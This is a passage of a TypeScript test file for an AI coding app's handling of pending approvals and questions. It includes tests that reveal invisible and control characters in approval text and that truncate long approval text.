Skip to content
Source
Sign inSign up
pingdotgg/t3code
Open History to see the last commit

threadRequests.test.ts

948 lines35.4 KB

1import { presentThreadShell } from "./models.ts";
2import { threadKey } from "./entities.ts";
3import {
4 EnvironmentId,
5 EventId,
6 MessageId,
7 ThreadId,
8 type ScopedThreadRef,
9 NodeId,
10 ProviderSessionId,
11 RuntimeRequestId,
12 TurnItemId,
13 type OrchestrationV2ThreadProjection,
14} from "@t3tools/contracts";
15import { describe, expect, it, vi } from "vite-plus/test";
16import { Atom, AtomRegistry, AsyncResult } from "effect/reactivity";
17import * as Cause from "effect/Cause";
18import { applyOrchestrationV2ProjectionEvent } from "./orchestrationV2Projection.ts";
19import { v2Now, v2Projection, v2ThreadShell } from "./orchestrationV2TestFixtures.ts";
20import {
21 createQuestionHistoryProjector,
22 createChildThreadApprovalsAtom,
23 type PendingThreadRequests,
24 derivePendingThreadRequests,
25 APPROVAL_TEXT_LIMIT,
26 approvalTextParts,
27 declinePendingApprovals,
28 sendApprovalFeedback,
29 pushHooksApprovalRows,
30 makeThreadRequestsResolvedAnnouncer,
31 onThreadRequestsResolved,
32 pruneResolvedUserInputDrafts,
33 resolvedQuestionDraftKeys,
34 seedUserInputDraftAnswers,
35 userInputDraftKey,
36 type ApprovalResponder,
37 type ThreadRequestsResolved,
38 type ThreadPendingApproval,
39} from "./threadRequests.ts";
40​
41const requestId = RuntimeRequestId.make("async-question");
42const nodeId = NodeId.make("async-question-node");
43​
44describe("declining approvals before sending", () => {
45 const approval: ThreadPendingApproval = {
46 requestId,
47 requestKind: "command",
48 createdAt: "2026-10-19T00:00:00Z",
49 responseCapability: "live",
50 };
51 const second: ThreadPendingApproval = {
52 ...approval,
53 requestId: RuntimeRequestId.make("second-approval"),
54 };
55​
56 it("declines every pending approval before the send continues", async () => {
57 let resolve!: (value: Awaited<ReturnType<ApprovalResponder>>) => void;
58 const firstResponse = new Promise<Awaited<ReturnType<ApprovalResponder>>>((done) => {
59 resolve = done;
60 });
61 const respond = vi.fn<ApprovalResponder>(async (id) =>
62 id === requestId ? firstResponse : AsyncResult.success(undefined),
63 );
64 const send = vi.fn();
65 const submission = (async () => {
66 if (await declinePendingApprovals([approval, second], respond)) send();
67 })();
68 expect(respond).toHaveBeenCalledWith(requestId, "decline");
69 expect(send).not.toHaveBeenCalled();
70 resolve(AsyncResult.success(undefined));
71 await submission;
72 expect(respond).toHaveBeenCalledWith(second.requestId, "decline");
73 expect(send).toHaveBeenCalledOnce();
74 });
75​
76 it.each([AsyncResult.failure(Cause.fail("decline failed")), undefined])(
77 "does not send when a decline is unsuccessful: %s",
78 async (response) => {
79 const send = vi.fn();
80 if (await declinePendingApprovals([approval], async () => response)) send();
81 expect(send).not.toHaveBeenCalled();
82 },
83 );
84​
85 it("skips approvals the provider can no longer answer", async () => {
86 const respond = vi.fn(async () => AsyncResult.success(undefined));
87 expect(
88 await declinePendingApprovals(
89 [{ ...approval, responseCapability: "not_resumable" }],
90 respond,
91 ),
92 ).toBe(true);
93 expect(respond).not.toHaveBeenCalled();
94 });
95​
96 it("sends feedback only to the displayed request, leaving other approvals pending", async () => {
97 const respond = vi.fn<ApprovalResponder>(async () => AsyncResult.success(undefined));
98 const pending = derivePendingThreadRequests({
99 runtimeRequests: [
100 {
101 ...projection.runtimeRequests[0]!,
102 kind: "command",
103 responseCapability: {
104 type: "live",
105 providerSessionId: ProviderSessionId.make("claude-session"),
106 supportsFeedback: true,
107 },
108 },
109 { ...projection.runtimeRequests[0]!, id: second.requestId, kind: "command" },
110 ],
111 turnItems: [],
112 });
113 expect(await sendApprovalFeedback(pending.approvals[0]!, " Safer please. ", respond)).toBe(
114 true,
115 );
116 expect(respond.mock.calls).toEqual([[approval.requestId, "decline", "Safer please."]]);
117 });
118​
119 it("keeps feedback unsent when unsupported, stale, empty or rejected", async () => {
120 const respond = vi.fn<ApprovalResponder>(async () => AsyncResult.failure(Cause.fail("failed")));
121 expect(await sendApprovalFeedback(approval, "Safer please.", respond)).toBe(false);
122 expect(
123 await sendApprovalFeedback(
124 { ...approval, supportsFeedback: true, responseCapability: "not_resumable" },
125 "Safer please.",
126 respond,
127 ),
128 ).toBe(false);
129 expect(await sendApprovalFeedback({ ...approval, supportsFeedback: true }, " ", respond)).toBe(
130 false,
131 );
132 expect(respond).not.toHaveBeenCalled();
133 expect(
134 await sendApprovalFeedback({ ...approval, supportsFeedback: true }, "Safer please.", respond),
135 ).toBe(false);
136 });
137});
138​
139describe("a push hooks approval", () => {
140 const pushHooks = {
141 branch: "feature/greeting",
142 files: [".husky/pre-push"],
143 commands: [{ name: "checks", command: "pnpm run checks" }],
144 };
145 const pending = (item: { readonly pushHooks: typeof pushHooks } | { readonly appName: string }) =>
146 derivePendingThreadRequests({
147 runtimeRequests: [{ ...projection.runtimeRequests[0]!, kind: "mcp-elicitation" }],
148 turnItems: [
149 {
150 id: TurnItemId.make("push-hooks-approval-item"),
151 threadId: v2Projection.thread.id,
152 runId: null,
153 nodeId,
154 providerThreadId: null,
155 providerTurnId: null,
156 nativeItemRef: null,
157 parentItemId: null,
158 ordinal: 0,
159 status: "waiting",
160 title: null,
161 startedAt: v2Now,
162 completedAt: null,
163 updatedAt: v2Now,
164 type: "approval_request",
165 requestId,
166 requestKind: "mcp-elicitation",
167 prompt: "Push feature/greeting and run this repository's hook file .husky/pre-push?",
168 ...item,
169 },
170 ],
171 }).approvals[0]!;
172​
173 it("carries what T3 Code names and no app, and another server's request its app", () => {
174 const own = pending({ pushHooks });
175 expect(own.pushHooks).toEqual(pushHooks);
176 expect(own).not.toHaveProperty("appName");
177 expect(own.detail).toBe(
178 "Push feature/greeting and run this repository's hook file .husky/pre-push?",
179 );
180​
181 const other = pending({ appName: "deploys" });
182 expect(other.appName).toBe("deploys");
183 expect(other).not.toHaveProperty("pushHooks");
184 });
185​
186 it("lists the branch, then each hook file and configured hook", () => {
187 expect(pushHooksApprovalRows(pushHooks)).toEqual([
188 { label: "Branch", code: "feature/greeting" },
189 { label: "Hook file", code: ".husky/pre-push" },
190 { label: "Configured hook", name: "checks", code: "pnpm run checks" },
191 ]);
192 });
193});
194​
195describe("pruning resolved user input drafts", () => {
196 const answered = userInputDraftKey("env", "thread", "answered");
197 const pending = userInputDraftKey("env", "thread", "pending");
198 const otherThread = userInputDraftKey("env", "thread-2", "answered");
199 const otherEnvironment = userInputDraftKey("env-2", "thread", "answered");
200 const drafts = {
201 [answered]: 1,
202 [pending]: 2,
203 [otherThread]: 3,
204 [otherEnvironment]: 4,
205 };
206​
207 it("drops only the thread's requests that are no longer pending", () => {
208 expect(pruneResolvedUserInputDrafts(drafts, "env", "thread", ["pending"])).toEqual({
209 [pending]: 2,
210 [otherThread]: 3,
211 [otherEnvironment]: 4,
212 });
213 });
214​
215 it("returns the same record when nothing resolved", () => {
216 expect(pruneResolvedUserInputDrafts(drafts, "env", "thread", ["answered", "pending"])).toBe(
217 drafts,
218 );
219 });
220});
221​
222describe("resolved question draft keys", () => {
223 const prefix = "env:question-thread-";
224 const key = (request: string, question: string) =>
225 `${prefix}${encodeURIComponent(JSON.stringify([request, question]))}`;
226​
227 it("returns the thread's keys for requests that are no longer pending", () => {
228 const keys = [
229 key("pending", "first"),
230 key("pending", "second"),
231 key("pending-2", "first"),
232 key("answered", "first"),
233 "env:question-other-thread-x",
234 ];
235 expect(resolvedQuestionDraftKeys(keys, prefix, [RuntimeRequestId.make("pending")])).toEqual([
236 key("pending-2", "first"),
237 key("answered", "first"),
238 ]);
239 });
240});
241​
242describe("announcing resolved thread requests", () => {
243 const environmentId = EnvironmentId.make("env");
244 const threadId = v2Projection.thread.id;
245 const first = RuntimeRequestId.make("first");
246 const second = RuntimeRequestId.make("second");
247​
248 function record() {
249 const events: ThreadRequestsResolved[] = [];
250 const unsubscribe = onThreadRequestsResolved((event) => events.push(event));
251 return { events, [Symbol.dispose]: unsubscribe };
252 }
253​
254 it("announces the first projection, then only when a request leaves pending", () => {
255 using recorder = record();
256 const announce = makeThreadRequestsResolvedAnnouncer(environmentId, threadId);
257​
258 const pending = (id: RuntimeRequestId) => ({ id, status: "pending" as const });
259 announce([pending(first)]);
260 announce([pending(first), pending(second)]);
261 announce([pending(first), pending(second)]);
262 announce([{ id: first, status: "cancelled" }, pending(second)]);
263 announce([
264 { id: first, status: "cancelled" },
265 { id: second, status: "resolved" },
266 ]);
267​
268 expect(recorder.events).toEqual([
269 { environmentId, threadId, pendingRequestIds: [first], unansweredRequestIds: [] },
270 { environmentId, threadId, pendingRequestIds: [second], unansweredRequestIds: [first] },
271 { environmentId, threadId, pendingRequestIds: [], unansweredRequestIds: [first] },
272 ]);
273 });
274});
275​
276describe("initial user input drafts", () => {
277 const questions = [
278 { id: "editor", initialAnswer: " Proposed commit\n\n" },
279 { id: "empty", initialAnswer: "" },
280 { id: "ordinary" },
281 { id: "choices", initialAnswer: "Ignore this", allowCustomAnswer: false },
282 ];
283​
284 it("seeds editable answers and preserves edits and selections on later snapshots", () => {
285 const seeded = seedUserInputDraftAnswers(questions, {});
286 expect(seeded).toEqual({
287 editor: { customAnswer: " Proposed commit\n\n" },
288 empty: { customAnswer: "" },
289 });
290 const edits = {
291 ...seeded,
292 editor: { customAnswer: "" },
293 empty: { selectedOptionValues: ["empty"], customAnswer: "" },
294 };
295 expect(seedUserInputDraftAnswers(questions, edits)).toEqual(edits);
296 expect(
297 seedUserInputDraftAnswers(questions, { editor: { customAnswer: "Edited commit" } }).editor,
298 ).toEqual({ customAnswer: "Edited commit" });
299 expect(seedUserInputDraftAnswers(questions, {}).editor).toEqual({
300 customAnswer: " Proposed commit\n\n",
301 });
302 });
303​
304 it("seeds a question with the id __proto__ as its own draft", () => {
305 const seeded = seedUserInputDraftAnswers(
306 [
307 { id: "__proto__", initialAnswer: "Proposed" },
308 { id: "name", initialAnswer: "Control" },
309 ],
310 {},
311 );
312​
313 expect(JSON.stringify(seeded)).toBe(
314 '{"__proto__":{"customAnswer":"Proposed"},"name":{"customAnswer":"Control"}}',
315 );
316 });
317});
318const projection: OrchestrationV2ThreadProjection = {
319 ...v2Projection,
320 runtimeRequests: [
321 {
322 id: requestId,
323 nodeId,
324 providerTurnId: null,
325 nativeRequestRef: null,
326 kind: "user_input",
327 status: "pending",
328 responseCapability: { type: "message" },
329 createdAt: v2Now,
330 resolvedAt: null,
331 },
332 ],
333 turnItems: [
334 {
335 id: TurnItemId.make("async-question-item"),
336 threadId: v2Projection.thread.id,
337 runId: null,
338 nodeId,
339 providerThreadId: null,
340 providerTurnId: null,
341 nativeItemRef: null,
342 parentItemId: null,
343 ordinal: 0,
344 status: "completed",
345 title: null,
346 startedAt: v2Now,
347 completedAt: v2Now,
348 updatedAt: v2Now,
349 type: "user_input_request",
350 requestId,
351 responseMode: "message",
352 questions: [
353 {
354 id: "next",
355 header: "Next",
356 question: "What should happen next?",
357 required: true,
358 allowCustomAnswer: false,
359 options: [{ label: "Continue", value: " continue ", description: "Resume work" }],
360 },
361 ],
362 },
363 ],
364};
365​
366describe("pending v2 questions", () => {
367 it("keeps message responses available after the originating runtime exits", () => {
368 expect(projection.providerSessions).toEqual([]);
369 expect(derivePendingThreadRequests(projection).userInputs).toEqual([
370 {
371 requestId,
372 createdAt: "2026-06-20T00:00:00.000Z",
373 responseCapability: "message",
374 responseMode: "message",
375 dismissible: true,
376 questions: [
377 {
378 id: "next",
379 header: "Next",
380 question: "What should happen next?",
381 required: true,
382 allowCustomAnswer: false,
383 multiSelect: false,
384 options: [{ label: "Continue", value: " continue ", description: "Resume work" }],
385 },
386 ],
387 },
388 ]);
389 });
390​
391 it("only marks asynchronous questions as dismissible", () => {
392 const live = {
393 ...projection,
394 runtimeRequests: projection.runtimeRequests.map((request) => ({
395 ...request,
396 responseCapability: {
397 type: "live" as const,
398 providerSessionId: ProviderSessionId.make("live-session"),
399 },
400 })),
401 turnItems: projection.turnItems.map((item) =>
402 item.type === "user_input_request" ? { ...item, responseMode: undefined } : item,
403 ),
404 };
405 expect(derivePendingThreadRequests(live).userInputs[0]?.dismissible).toBe(false);
406 });
407});
408​
409it("restores old text answers without mutating history or replacing unchanged rows", () => {
410 const project = createQuestionHistoryProjector();
411 const item = projection.turnItems[0]!;
412 const row = {
413 item,
414 position: 0,
415 sourceItemId: item.id,
416 sourceThreadId: item.threadId,
417 visibility: "local" as const,
418 };
419 const rows = [row];
420 const pending = { visibleTurnItems: rows, runtimeRequests: projection.runtimeRequests };
421 expect(project(pending)).toBe(rows);
422 const answered = {
423 ...pending,
424 runtimeRequests: [
425 {
426 ...projection.runtimeRequests[0]!,
427 status: "resolved" as const,
428 answers: { next: "Continue" },
429 },
430 ],
431 };
432 const result = project(answered);
433 expect(result[0]?.item).toMatchObject({
434 questionAnswer: {
435 answers: { next: "Continue" },
436 attachmentsByQuestionId: {},
437 questionTextById: { next: "What should happen next?" },
438 },
439 });
440 expect(row.item).not.toHaveProperty("questionAnswer");
441 expect(project(answered)).toBe(result);
442 expect(project({ ...answered, visibleTurnItems: [...rows] })[0]).toBe(result[0]);
443});
444​
445type QuestionItem = Extract<
446 OrchestrationV2ThreadProjection["turnItems"][number],
447 { readonly type: "user_input_request" }
448>;
449​
450describe("question history through exact row replacements", () => {
451 const baseItem = {
452 threadId: v2Projection.thread.id,
453 runId: null,
454 nodeId,
455 providerThreadId: null,
456 providerTurnId: null,
457 nativeItemRef: null,
458 parentItemId: null,
459 status: "running" as const,
460 title: null,
461 startedAt: v2Now,
462 completedAt: null,
463 updatedAt: v2Now,
464 };
465 const assistantItem = (ordinal: number, text = "Hel") => ({
466 ...baseItem,
467 id: TurnItemId.make(`assistant-${ordinal}`),
468 ordinal,
469 type: "assistant_message" as const,
470 messageId: MessageId.make(`message-${ordinal}`),
471 text,
472 streaming: true,
473 });
474 const localRow = (
475 item: OrchestrationV2ThreadProjection["turnItems"][number],
476 position: number,
477 ) => ({
478 item,
479 position,
480 sourceItemId: item.id,
481 sourceThreadId: item.threadId,
482 visibility: "local" as const,
483 });
484 const updated = (
485 current: OrchestrationV2ThreadProjection,
486 item: OrchestrationV2ThreadProjection["turnItems"][number],
487 ) =>
488 applyOrchestrationV2ProjectionEvent(current, {
489 id: EventId.make(`event-${item.id}`),
490 type: "turn-item.updated",
491 threadId: current.thread.id,
492 occurredAt: v2Now,
493 payload: item,
494 })!;
495​
496 it("reads only the replaced row and leaves the request index alone", () => {
497 const size = 1_000;
498 const counts = { items: 0, requestIds: 0 };
499 const items = Array.from({ length: size }, (_, index) => assistantItem(index));
500 const countedRows = items.map((item, index) => {
501 const row = localRow(item, index);
502 return Object.defineProperty(row, "item", {
503 enumerable: true,
504 get: () => {
505 counts.items += 1;
506 return item;
507 },
508 });
509 });
510 const countedRequests = Array.from({ length: 400 }, (_, index) => {
511 const request = {
512 ...projection.runtimeRequests[0]!,
513 id: RuntimeRequestId.make(`request-${index}`),
514 };
515 return Object.defineProperty(request, "id", {
516 enumerable: true,
517 get: () => {
518 counts.requestIds += 1;
519 return RuntimeRequestId.make(`request-${index}`);
520 },
521 });
522 });
523 const initial: OrchestrationV2ThreadProjection = {
524 ...v2Projection,
525 turnItems: items,
526 visibleTurnItems: countedRows,
527 runtimeRequests: countedRequests,
528 };
529 const project = createQuestionHistoryProjector();
530 const scan = (current: OrchestrationV2ThreadProjection) => {
531 counts.items = 0;
532 counts.requestIds = 0;
533 const result = project(current);
534 return { result, ...counts };
535 };
536 expect(scan(initial)).toMatchObject({ items: size, requestIds: 400 });
537​
538 const adjacent = updated(initial, assistantItem(size - 1, "Hello"));
539 const hinted = scan(adjacent);
540 expect(hinted.result).toBe(adjacent.visibleTurnItems);
541 expect(hinted).toMatchObject({ items: 0, requestIds: 0 });
542​
543 // A skipped delta has no hint for this exact pair, so it scans again.
544 const skipped = updated(
545 updated(adjacent, assistantItem(size - 1, "Hello t")),
546 assistantItem(size - 1, "Hello there"),
547 );
548 const fallback = scan(skipped);
549 expect(fallback.result).toBe(skipped.visibleTurnItems);
550 expect(fallback).toMatchObject({ items: size - 1, requestIds: 0 });
551 });
552​
553 it("matches a full projection through streamed rows, request changes and answers", () => {
554 const question = projection.turnItems[0] as QuestionItem;
555 const resolved = (answers: Record<string, string>) => ({
556 ...projection.runtimeRequests[0]!,
557 status: "resolved" as const,
558 answers,
559 });
560 const explicitRequestId = RuntimeRequestId.make("explicit-question");
561 const explicitAnswer = {
562 requestId: explicitRequestId,
563 answers: { next: "Explicit" },
564 attachmentsByQuestionId: {},
565 questionTextById: { next: "What should happen next?" },
566 };
567 const unanswered: QuestionItem = {
568 ...question,
569 id: TurnItemId.make("explicit-question-item"),
570 ordinal: 1,
571 requestId: explicitRequestId,
572 };
573 const explicit: QuestionItem = { ...unanswered, questionAnswer: explicitAnswer };
574 const explicitRequest = {
575 ...resolved({ next: "From request" }),
576 id: explicitRequestId,
577 };
578 const stream = assistantItem(2);
579 const inherited = {
580 ...localRow({ ...question, id: TurnItemId.make("inherited-question-item") }, 3),
581 visibility: "inherited" as const,
582 sourceThreadId: ThreadId.make("parent-thread"),
583 };
584 const turnItems = [question, explicit, stream];
585 let current: OrchestrationV2ThreadProjection = {
586 ...v2Projection,
587 turnItems,
588 visibleTurnItems: [...turnItems.map(localRow), inherited],
589 runtimeRequests: [projection.runtimeRequests[0]!, explicitRequest],
590 };
591 const project = createQuestionHistoryProjector();
592 const step = (next: OrchestrationV2ThreadProjection) => {
593 current = next;
594 const result = project(next);
595 expect(result).toEqual(createQuestionHistoryProjector()(next));
596 return result;
597 };
598 const answerOf = (rows: ReadonlyArray<{ readonly item: unknown }>, index: number) =>
599 (rows[index]!.item as { readonly questionAnswer?: { readonly answers: unknown } })
600 .questionAnswer?.answers;
601​
602 expect(step(current)).toBe(current.visibleTurnItems);
603 expect(step(updated(current, assistantItem(2, "Hello")))).toBe(current.visibleTurnItems);
604​
605 // The last duplicate request wins, and every row asking it gets the answer.
606 const answered = step({
607 ...current,
608 runtimeRequests: [
609 projection.runtimeRequests[0]!,
610 resolved({ next: "Continue" }),
611 explicitRequest,
612 ],
613 });
614 expect(answerOf(answered, 0)).toEqual({ next: "Continue" });
615 expect(answerOf(answered, 1)).toEqual({ next: "Explicit" });
616 expect(answerOf(answered, 3)).toEqual({ next: "Continue" });
617​
618 const whileOverlaid = step(updated(current, assistantItem(2, "Hello there")));
619 expect(whileOverlaid[0]).toBe(answered[0]);
620 expect(whileOverlaid[3]).toBe(answered[3]);
621​
622 const changedAnswer = step({
623 ...current,
624 runtimeRequests: [resolved({ next: "Stop" }), explicitRequest],
625 });
626 expect(answerOf(changedAnswer, 0)).toEqual({ next: "Stop" });
627​
628 const reopened = step({
629 ...current,
630 runtimeRequests: [projection.runtimeRequests[0]!, explicitRequest],
631 });
632 expect(reopened).toBe(current.visibleTurnItems);
633​
634 // Dropping an explicit answer falls back to its resolved request.
635 const restored = step(updated(current, unanswered));
636 expect(answerOf(restored, 1)).toEqual({ next: "From request" });
637​
638 const retitled: QuestionItem = {
639 ...unanswered,
640 questions: [{ ...question.questions[0]!, question: "Now what?" }],
641 };
642 const retitledRows = step(updated(current, retitled));
643 expect(retitledRows[1]!.item).toMatchObject({
644 questionAnswer: { questionTextById: { next: "Now what?" } },
645 });
646 });
647});
648​
649it("loads only child approvals and retains their destination across environments", () => {
650 const local = EnvironmentId.make("local");
651 const remote = EnvironmentId.make("remote");
652 const parent = { environmentId: local, threadId: ThreadId.make("parent") };
653 const childId = ThreadId.make("child");
654 const children = Atom.make(
655 [local, remote].map((environmentId) => ({
656 ...presentThreadShell(environmentId, v2ThreadShell),
657 id: childId,
658 title: environmentId,
659 hasPendingApprovals: true,
660 })),
661 );
662 const details = Atom.family((key: string) =>
663 Atom.make<PendingThreadRequests | null>({
664 approvals: [
665 {
666 requestId: RuntimeRequestId.make(key),
667 requestKind: "command",
668 createdAt: "2026-10-19T00:00:00Z",
669 responseCapability: "live",
670 },
671 ],
672 userInputs: [],
673 }),
674 );
675 const readDetails = vi.fn((ref: ScopedThreadRef) => details(threadKey(ref)));
676 const approvalsAtom = createChildThreadApprovalsAtom({
677 childThreadInputsAtom: () => children,
678 pendingRequestsAtom: readDetails,
679 });
680 const registry = AtomRegistry.make();
681 const unmount = registry.mount(approvalsAtom(parent));
682 const pending = registry.get(approvalsAtom(parent));
683 expect(pending.map((entry) => entry.thread)).toEqual(
684 [local, remote].map((environmentId) => ({ environmentId, threadId: childId })),
685 );
686 expect(pending.map((entry) => entry.title)).toEqual(["local", "remote"]);
687 registry.set(details(threadKey({ environmentId: remote, threadId: childId })), {
688 approvals: [],
689 userInputs: [],
690 });
691 expect(registry.get(approvalsAtom(parent))).toEqual([pending[0]]);
692 readDetails.mockClear();
693 registry.set(
694 children,
695 registry
696 .get(children)
697 .map((child) => ({ ...child, hasPendingApprovals: false, hasPendingUserInput: true })),
698 );
699 expect(registry.get(approvalsAtom(parent))).toEqual([]);
700 expect(readDetails).not.toHaveBeenCalled();
701 unmount();
702 registry.dispose();
703});
704​
705it("names the characters of an approval that a screen would not draw", () => {
706 const named = (text: string) =>
707 approvalTextParts(text)
708 .parts.map((part) => (part.named ? `<${part.text}>` : part.text))
709 .join("");
710 expect(named("echo one\rtwo\r\n\tthree")).toBe("echo one<\\r>two<\\r>\n\tthree");
711 expect(named("a\b\u001B[2K\u0000\u007F\u0085\u000B\u000C")).toBe(
712 "a<\\b\\e>[2K<U+0000U+007FU+0085U+000BU+000C>",
713 );
714 expect(named("a
b
c‮d⁧e​f‍g\u{E0072}")).toBe(
715 "a<U+2028>b<U+2029>c<U+202E>d<U+2067>e<U+200B>f<U+200D>g<U+E0072>",
716 );
717 expect(named("a︀ a\u{E0100} é͏ ㅤ a᠋ ᠎ ؜")).toBe(
718 "a<U+FE00> a<U+E0100> é<U+034F> <U+3164> a<U+180B> <U+180E> <U+061C>",
719 );
720 // Every drawn character stays: plain text, accents, a line feed and a tab.
721 const drawn = "git commit -m 'café é 漢字 نمی'\n\tgit push";
722 expect(approvalTextParts(drawn).parts).toEqual([{ text: drawn }]);
723 expect(approvalTextParts("")).toEqual({
724 parts: [],
725 tail: [],
726 shownLength: 0,
727 hiddenLength: 0,
728 length: 0,
729 });
730});
731​
732it("leaves a joiner or a presentation selector alone only inside an emoji", () => {
733 const named = (text: string) =>
734 approvalTextParts(text)
735 .parts.map((part) => (part.named ? `<${part.text}>` : part.text))
736 .join("");
737 const unchanged = (text: string) => expect(approvalTextParts(text).parts).toEqual([{ text }]);
738​
739 // A joiner directly between two emoji, after the first one's selector or skin tone too.
740 unchanged("\u{1F469}‍\u{1F4BB} \u{1F9D1}\u{1F3FD}‍\u{1F4BB} \u{1F44B}\u{1F3FD}");
741 unchanged("\u{1F3F3}️‍\u{1F308} \u{1F441}️‍\u{1F5E8}️");
742 // A presentation selector directly after an emoji or in a keycap.
743 unchanged("❤️ ❤︎ 1️⃣ #️⃣");
744​
745 // The same characters anywhere else, in every script.
746 expect(named("نمی‌خواهم ه‍")).toBe("نمی<U+200C>خواهم ه<U+200D>");
747 expect(named("क्‍ष क्‌ष")).toBe("क्<U+200D>ष क्<U+200C>ष");
748 expect(named("ᠮ᠋ 葛\u{E0100} 辻︀")).toBe("ᠮ<U+180B> 葛<U+E0100> 辻<U+FE00>");
749 expect(named("cat 'safe—‍.txt' é‍x ‍a‍")).toBe(
750 "cat 'safe—<U+200D>.txt' é<U+200D>x <U+200D>a<U+200D>",
751 );
752 expect(named("a️b︎ 1️ 1︎⃣ 漢️ ️")).toBe("a<U+FE0F>b<U+FE0E> 1<U+FE0F> 1<U+FE0E>⃣ 漢<U+FE0F> <U+FE0F>");
753 // An emoji on one side only, a non-joiner, and a second joiner or selector.
754 expect(named("\u{1F469}‍.txt x‍\u{1F4BB} \u{1F469}‌\u{1F4BB} \u{1F469}‍")).toBe(
755 "\u{1F469}<U+200D>.txt x<U+200D>\u{1F4BB} \u{1F469}<U+200C>\u{1F4BB} \u{1F469}<U+200D>",
756 );
757 expect(named("\u{1F469}‍‍\u{1F4BB} ❤️️")).toBe("\u{1F469}<U+200DU+200D>\u{1F4BB} ❤️<U+FE0F>");
758 // A skin tone is a drawn character, not an emoji to join or to select a presentation of.
759 expect(named("a\u{1F3FD}‍\u{1F4BB} \u{1F469}‍\u{1F3FD} \u{1F44B}\u{1F3FD}️")).toBe(
760 "a\u{1F3FD}<U+200D>\u{1F4BB} \u{1F469}<U+200D>\u{1F3FD} \u{1F44B}\u{1F3FD}<U+FE0F>",
761 );
762 // A code point reserved for an emoji that does not exist yet is not an emoji.
763 expect(named("\u{1FC00}\uFE0F \u{1FC00}\u200D\u{1F4BB} \u{1F469}\u200D\u{1FC00}")).toBe(
764 "\u{1FC00}<U+FE0F> \u{1FC00}<U+200D>\u{1F4BB} \u{1F469}<U+200D>\u{1FC00}",
765 );
766 // Tag characters are named, in a flag as well.
767 expect(named("\u{1F3F4}\u{E0067}\u{E0062}\u{E007F}")).toBe("\u{1F3F4}<U+E0067U+E0062U+E007F>");
768});
769​
770it("merges named characters that stand together into one part", () => {
771 expect(approvalTextParts("a\r\r\u200Db\u001B\nc\b").parts).toEqual([
772 { text: "a" },
773 { text: "\\r\\rU+200D", named: true },
774 { text: "b" },
775 { text: "\\e", named: true },
776 { text: "\nc" },
777 { text: "\\b", named: true },
778 ]);
779 // A joiner inside an emoji is not named and ends the run before it.
780 expect(approvalTextParts("\r\u{1F469}\u200D\u{1F4BB}\u200D\r").parts).toEqual([
781 { text: "\\r", named: true },
782 { text: "\u{1F469}\u200D\u{1F4BB}" },
783 { text: "U+200D\\r", named: true },
784 ]);
785});
786​
787it("shows the beginning and the end of approval text that passes its limit", () => {
788 const limit = { length: 8, namedRuns: 2, tailLength: 3, tailNamedRuns: 1 };
789 const read = (parts: ReadonlyArray<{ text: string; named?: true }>) =>
790 parts.map((part) => (part.named ? `<${part.text}>` : part.text)).join("");
791 const scan = (text: string) => {
792 const { parts, tail, hiddenLength } = approvalTextParts(text, limit);
793 return [read(parts), hiddenLength, read(tail)];
794 };
795 // Under the limit or at it, all of the text.
796 expect(scan("abcdefg")).toEqual(["abcdefg", 0, ""]);
797 expect(scan("abcdefgh")).toEqual(["abcdefgh", 0, ""]);
798 expect(scan("a\r\rb\rc")).toEqual(["a<\\r\\r>b<\\r>c", 0, ""]);
799 // Over it, the beginning and the end, which together are as long as the limit.
800 expect(scan("abcdefghi")).toEqual(["abcde", 1, "ghi"]);
801 expect(scan("abcdefghijklmnop sh x")).toEqual(["abcde", 13, "h x"]);
802 // Neither cut falls inside a code point.
803 expect(scan("abcd\u{1F469}fgh")).toEqual(["abcd", 2, "fgh"]);
804 expect(scan("abcdefg\u{1F469}h")).toEqual(["abcde", 2, "\u{1F469}h"]);
805 expect(scan("abcdef\u{1F469}hi")).toEqual(["abcde", 3, "hi"]);
806 // Characters in the end are named like those in the beginning, and its runs are the last ones.
807 expect(scan("abcdefg\r‮")).toEqual(["abcde", 1, "g<\\rU+202E>"]);
808 expect(scan("abcdefg\ra\r")).toEqual(["abcde", 3, "a<\\r>"]);
809 // Past the runs of the beginning, the text up to the next run and then the end.
810 expect(scan("\ra\rb\rcde")).toEqual(["<\\r>a<\\r>b", 1, "cde"]);
811 // An end that starts where the beginning stopped leaves nothing out, so the text is whole.
812 expect(scan("a\rb\rc\rd")).toEqual(["a<\\r>b<\\r>c<\\r>d", 0, ""]);
813​
814 // Whatever the length, the two parts are the two ends of the text and no code point is split.
815 const unit = "a\u{1F469}bc\u{1F4BB}";
816 for (let length = 0; length <= 3 * unit.length; length += 1) {
817 const text = unit
818 .repeat(3)
819 .slice(0, length)
820 .replace(/[\uD800-\uDBFF]$/, "");
821 const { parts, tail, shownLength, hiddenLength } = approvalTextParts(text, limit);
822 expect(read(parts)).toBe(text.slice(0, shownLength));
823 expect(read(tail)).toBe(hiddenLength > 0 ? text.slice(shownLength + hiddenLength) : "");
824 expect(hiddenLength > 0).toBe(text.length > limit.length);
825 expect(`${read(parts)}|${read(tail)}`).not.toMatch(/\p{Cs}/u);
826 }
827});
828​
829it("names a character a screen would not draw wherever it stands, the very end included", () => {
830 const read = (parts: ReadonlyArray<{ text: string; named?: true }>) =>
831 parts.map((part) => (part.named ? `<${part.text}>` : part.text)).join("");
832 const whole = (text: string) => {
833 const scan = approvalTextParts(text);
834 expect([scan.tail, scan.hiddenLength, scan.shownLength]).toEqual([[], 0, text.length]);
835 return read(scan.parts);
836 };
837 expect(whole("ls\r")).toBe("ls<\\r>");
838 expect(whole("ls\r\n")).toBe("ls<\\r>\n");
839 expect(whole("ls\n\r")).toBe("ls\n<\\r>");
840 expect(whole("ls\u200D")).toBe("ls<U+200D>");
841 // Text made only of such characters is one named part.
842 expect(whole("\r")).toBe("<\\r>");
843 expect(approvalTextParts("\r\u200D\u001B\r").parts).toEqual([
844 { text: "\\rU+200D\\e\\r", named: true },
845 ]);
846​
847 // The same where long text is cut: 5 units of beginning, 3 of end.
848 const limit = { length: 8, namedRuns: 2, tailLength: 3, tailNamedRuns: 1 };
849 const cut = (text: string) => {
850 const { parts, tail, hiddenLength } = approvalTextParts(text, limit);
851 return [read(parts), hiddenLength, read(tail)];
852 };
853 // The last unit of the text.
854 expect(cut("abcdefgh\r")).toEqual(["abcde", 1, "gh<\\r>"]);
855 expect(cut("abcdefg\r\n")).toEqual(["abcde", 1, "g<\\r>\n"]);
856 expect(cut("abcdefg\n\r")).toEqual(["abcde", 1, "g\n<\\r>"]);
857 expect(cut("abcdefgh\u200D")).toEqual(["abcde", 1, "gh<U+200D>"]);
858 // The last unit of the beginning and the first unit of the end.
859 expect(cut("abcd\rfghi")).toEqual(["abcd<\\r>", 1, "ghi"]);
